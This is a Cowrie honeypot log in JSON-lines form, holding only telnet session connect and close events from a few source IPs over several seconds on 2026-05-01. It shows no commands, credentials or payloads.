{"eventid":"cowrie.session.closed","duration":31.304121017456055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:54.351819Z","src_ip":"108.179.216.206","session":"f00cb3140cb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.514116525650024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:54.375415Z","src_ip":"108.179.216.206","session":"537002e84a9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":34764,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3b66e2f8816","protocol":"telnet","message":"New connection: 108.179.216.206:34764 (10.17.0.5:23) [session: a3b66e2f8816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:54.424061Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":34820,"dst_ip":"10.17.0.5","dst_port":23,"session":"63d38a3c3503","protocol":"telnet","message":"New connection: 108.179.216.206:34820 (10.17.0.5:23) [session: 63d38a3c3503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:54.472467Z"}
{"eventid":"cowrie.session.closed","duration":31.333568572998047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:54.549664Z","src_ip":"108.179.216.206","session":"f79419c42927","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.671518325805664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:55.084379Z","src_ip":"108.179.216.206","session":"0078c5835296","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.752833604812622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:55.392905Z","src_ip":"108.179.216.206","session":"52155c18bf47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.73417067527771,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:55.910339Z","src_ip":"108.179.216.206","session":"0a8d7d0b2780","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56948,"dst_ip":"159.203.135.109","dst_port":23,"session":"36359f9349f5","protocol":"telnet","message":"New connection: 209.126.87.217:56948 (159.203.135.109:23) [session: 36359f9349f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:56.068235Z"}
{"eventid":"cowrie.session.closed","duration":30.503137350082397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:56.082040Z","src_ip":"108.179.216.206","session":"b138d152f8f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56954,"dst_ip":"159.203.135.109","dst_port":23,"session":"4da51e874dd5","protocol":"telnet","message":"New connection: 209.126.87.217:56954 (159.203.135.109:23) [session: 4da51e874dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:56.401120Z"}
{"eventid":"cowrie.session.closed","duration":31.347588539123535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:56.470539Z","src_ip":"108.179.216.206","session":"421650d4dbe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56964,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8f2d55c2b4e","protocol":"telnet","message":"New connection: 209.126.87.217:56964 (159.203.135.109:23) [session: c8f2d55c2b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:56.604300Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":37140,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8433d5f51c6","protocol":"telnet","message":"New connection: 108.179.216.206:37140 (10.17.0.5:23) [session: c8433d5f51c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:56.648790Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56968,"dst_ip":"159.203.135.109","dst_port":23,"session":"617595cc3de0","protocol":"telnet","message":"New connection: 209.126.87.217:56968 (159.203.135.109:23) [session: 617595cc3de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:56.706911Z"}
{"eventid":"cowrie.session.closed","duration":31.25032353401184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:56.720963Z","src_ip":"108.179.216.206","session":"2e32a34f3ae4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56972,"dst_ip":"159.203.135.109","dst_port":23,"session":"635f50af95b5","protocol":"telnet","message":"New connection: 209.126.87.217:56972 (159.203.135.109:23) [session: 635f50af95b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:56.787881Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":37382,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b52ba680b95","protocol":"telnet","message":"New connection: 108.179.216.206:37382 (10.17.0.5:23) [session: 4b52ba680b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:56.947754Z"}
{"eventid":"cowrie.session.closed","duration":31.60349750518799,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:56.983524Z","src_ip":"108.179.216.206","session":"5479bb16db9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00079488754272,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:57.005045Z","src_ip":"170.82.106.219","session":"29faa2708bc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.428922653198242,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:57.046748Z","src_ip":"108.179.216.206","session":"09eb2adaf452","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60637593269348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:57.191625Z","src_ip":"108.179.216.206","session":"31773ffb9cb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.198303937911987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:57.222821Z","src_ip":"108.179.216.206","session":"4560b103e001","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":37772,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fe9c252c69f","protocol":"telnet","message":"New connection: 108.179.216.206:37772 (10.17.0.5:23) [session: 1fe9c252c69f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:57.315736Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.82.106.219","src_port":59954,"dst_ip":"10.17.0.5","dst_port":23,"session":"064236ac28ad","protocol":"telnet","message":"New connection: 170.82.106.219:59954 (10.17.0.5:23) [session: 064236ac28ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:57.558143Z"}
{"eventid":"cowrie.session.closed","duration":31.339704751968384,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:57.572543Z","src_ip":"108.179.216.206","session":"5fbbbf80c7ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.553359270095825,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:57.706508Z","src_ip":"209.126.87.217","session":"31d1a5d551ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56974,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c9ab88443a6","protocol":"telnet","message":"New connection: 209.126.87.217:56974 (159.203.135.109:23) [session: 4c9ab88443a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:58.065970Z"}
{"eventid":"cowrie.session.closed","duration":31.080793857574463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:58.410436Z","src_ip":"108.179.216.206","session":"75df5d9a136a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.069457054138184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:58.855546Z","src_ip":"108.179.216.206","session":"535126354425","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":39636,"dst_ip":"10.17.0.5","dst_port":23,"session":"9eeeff9468f7","protocol":"telnet","message":"New connection: 108.179.216.206:39636 (10.17.0.5:23) [session: 9eeeff9468f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:00.048334Z"}
{"eventid":"cowrie.session.closed","duration":30.74748659133911,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:00.613514Z","src_ip":"209.126.87.217","session":"a4d80c47544d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.763627767562866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:00.638284Z","src_ip":"108.179.216.206","session":"3cc6114c061e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.783509492874146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:00.798015Z","src_ip":"108.179.216.206","session":"28ff65f15567","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.980257272720337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:01.042421Z","src_ip":"108.179.216.206","session":"961b6da076ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":38732,"dst_ip":"10.17.0.5","dst_port":23,"session":"b12f3f4f9376","protocol":"telnet","message":"New connection: 108.179.216.206:38732 (10.17.0.5:23) [session: b12f3f4f9376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:01.118289Z"}
{"eventid":"cowrie.session.closed","duration":35.23738098144531,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:01.464339Z","src_ip":"209.126.87.217","session":"7060f3015398","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68441343307495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:02.274962Z","src_ip":"108.179.216.206","session":"835956533a48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":42728,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceae961d7516","protocol":"telnet","message":"New connection: 108.179.216.206:42728 (10.17.0.5:23) [session: ceae961d7516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:02.284838Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":42990,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a630fd9fc20","protocol":"telnet","message":"New connection: 108.179.216.206:42990 (10.17.0.5:23) [session: 1a630fd9fc20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:02.570289Z"}
{"eventid":"cowrie.session.closed","duration":30.690313577651978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:03.070163Z","src_ip":"108.179.216.206","session":"2fc0ccb56a2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.172759294509888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:03.196197Z","src_ip":"108.179.216.206","session":"a7d4be9a4ded","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":43896,"dst_ip":"10.17.0.5","dst_port":23,"session":"45bbc6c856e9","protocol":"telnet","message":"New connection: 108.179.216.206:43896 (10.17.0.5:23) [session: 45bbc6c856e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:03.509734Z"}
{"eventid":"cowrie.session.closed","duration":31.301432847976685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:03.851605Z","src_ip":"108.179.216.206","session":"e662c7ed2093","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38136649131775,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:03.991124Z","src_ip":"209.126.87.217","session":"fc69f4059ecd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0014808177948,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:04.060973Z","src_ip":"170.82.106.219","session":"0d67181dd62a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.887157678604126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:04.224703Z","src_ip":"108.179.216.206","session":"b2b7157e5b6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.584564447402954,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:04.429462Z","src_ip":"108.179.216.206","session":"cc917f3f0e40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26079511642456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:04.769325Z","src_ip":"108.179.216.206","session":"79127c32a1d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.132964611053467,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:05.710088Z","src_ip":"108.179.216.206","session":"402c8ce6d72a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41339659690857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:06.303443Z","src_ip":"108.179.216.206","session":"76bfb137a644","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.753297328948975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:06.410134Z","src_ip":"108.179.216.206","session":"fabcf883e543","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":47004,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f738d7986fc","protocol":"telnet","message":"New connection: 108.179.216.206:47004 (10.17.0.5:23) [session: 0f738d7986fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:06.415713Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":46090,"dst_ip":"10.17.0.5","dst_port":23,"session":"72efacf3187c","protocol":"telnet","message":"New connection: 108.179.216.206:46090 (10.17.0.5:23) [session: 72efacf3187c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:06.486312Z"}
{"eventid":"cowrie.session.closed","duration":31.3225998878479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:06.548417Z","src_ip":"108.179.216.206","session":"f9990343abb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.183635234832764,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:06.677156Z","src_ip":"108.179.216.206","session":"3a355d27464d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":47432,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbae4d5c56b3","protocol":"telnet","message":"New connection: 108.179.216.206:47432 (10.17.0.5:23) [session: fbae4d5c56b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:06.729461Z"}
{"eventid":"cowrie.session.closed","duration":120.00186347961426,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:07.179921Z","src_ip":"170.82.106.219","session":"a4ea919d276a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":47908,"dst_ip":"10.17.0.5","dst_port":23,"session":"3089dffd6e80","protocol":"telnet","message":"New connection: 108.179.216.206:47908 (10.17.0.5:23) [session: 3089dffd6e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:07.226500Z"}
{"eventid":"cowrie.session.closed","duration":30.697396278381348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:07.296923Z","src_ip":"108.179.216.206","session":"b0b53b97ae8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":48148,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7dbacb07b0f","protocol":"telnet","message":"New connection: 108.179.216.206:48148 (10.17.0.5:23) [session: f7dbacb07b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:07.355062Z"}
{"eventid":"cowrie.session.closed","duration":120.00176477432251,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:07.641844Z","src_ip":"170.82.106.219","session":"baa2c96cca8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":49688,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa1547935f81","protocol":"telnet","message":"New connection: 108.179.216.206:49688 (10.17.0.5:23) [session: aa1547935f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:08.785658Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.82.106.219","src_port":60574,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f30a7b12b8e","protocol":"telnet","message":"New connection: 170.82.106.219:60574 (10.17.0.5:23) [session: 4f30a7b12b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:08.893922Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":49884,"dst_ip":"10.17.0.5","dst_port":23,"session":"db575162142f","protocol":"telnet","message":"New connection: 108.179.216.206:49884 (10.17.0.5:23) [session: db575162142f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:08.952769Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":49908,"dst_ip":"10.17.0.5","dst_port":23,"session":"332b1698dff6","protocol":"telnet","message":"New connection: 108.179.216.206:49908 (10.17.0.5:23) [session: 332b1698dff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:08.995911Z"}
{"eventid":"cowrie.session.closed","duration":30.671459197998047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:09.338495Z","src_ip":"108.179.216.206","session":"19e6d48b0e76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":49288,"dst_ip":"10.17.0.5","dst_port":23,"session":"47f6ec22c4bb","protocol":"telnet","message":"New connection: 108.179.216.206:49288 (10.17.0.5:23) [session: 47f6ec22c4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:09.405105Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":53040,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf3eed251561","protocol":"telnet","message":"New connection: 209.126.87.217:53040 (159.203.135.109:23) [session: bf3eed251561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:09.586444Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":49730,"dst_ip":"10.17.0.5","dst_port":23,"session":"f54b17ed30b5","protocol":"telnet","message":"New connection: 108.179.216.206:49730 (10.17.0.5:23) [session: f54b17ed30b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:09.808057Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":50896,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b8f6d8a1498","protocol":"telnet","message":"New connection: 108.179.216.206:50896 (10.17.0.5:23) [session: 3b8f6d8a1498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:09.969733Z"}
{"eventid":"cowrie.session.closed","duration":31.710366010665894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:10.011393Z","src_ip":"108.179.216.206","session":"95248abf6d06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":51494,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f38439ffc27","protocol":"telnet","message":"New connection: 108.179.216.206:51494 (10.17.0.5:23) [session: 2f38439ffc27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:10.573422Z"}
{"eventid":"cowrie.session.closed","duration":31.716804027557373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:10.907987Z","src_ip":"108.179.216.206","session":"e062799a1028","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":51954,"dst_ip":"10.17.0.5","dst_port":23,"session":"9024f6439926","protocol":"telnet","message":"New connection: 108.179.216.206:51954 (10.17.0.5:23) [session: 9024f6439926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:10.982082Z"}
{"eventid":"cowrie.session.closed","duration":30.320510864257812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:11.142120Z","src_ip":"108.179.216.206","session":"2c3872555054","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.42115378379822,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:11.253108Z","src_ip":"209.126.87.217","session":"df2795ccc67a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":52404,"dst_ip":"10.17.0.5","dst_port":23,"session":"e185a3f6eaf2","protocol":"telnet","message":"New connection: 108.179.216.206:52404 (10.17.0.5:23) [session: e185a3f6eaf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:11.447298Z"}
{"eventid":"cowrie.session.closed","duration":30.257474660873413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:12.165509Z","src_ip":"108.179.216.206","session":"162fbab299e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54592,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5a1cd6e0d83","protocol":"telnet","message":"New connection: 209.126.87.217:54592 (159.203.135.109:23) [session: a5a1cd6e0d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:12.273916Z"}
{"eventid":"cowrie.session.closed","duration":30.554457187652588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:12.340109Z","src_ip":"108.179.216.206","session":"6eab11b5dee6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":46978,"dst_ip":"10.17.0.5","dst_port":23,"session":"87fd37dcf044","protocol":"telnet","message":"New connection: 108.179.216.206:46978 (10.17.0.5:23) [session: 87fd37dcf044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:12.344983Z"}
{"eventid":"cowrie.session.closed","duration":32.7657516002655,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:12.365738Z","src_ip":"108.179.216.206","session":"781bd7f51a56","protocol":"telnet"}
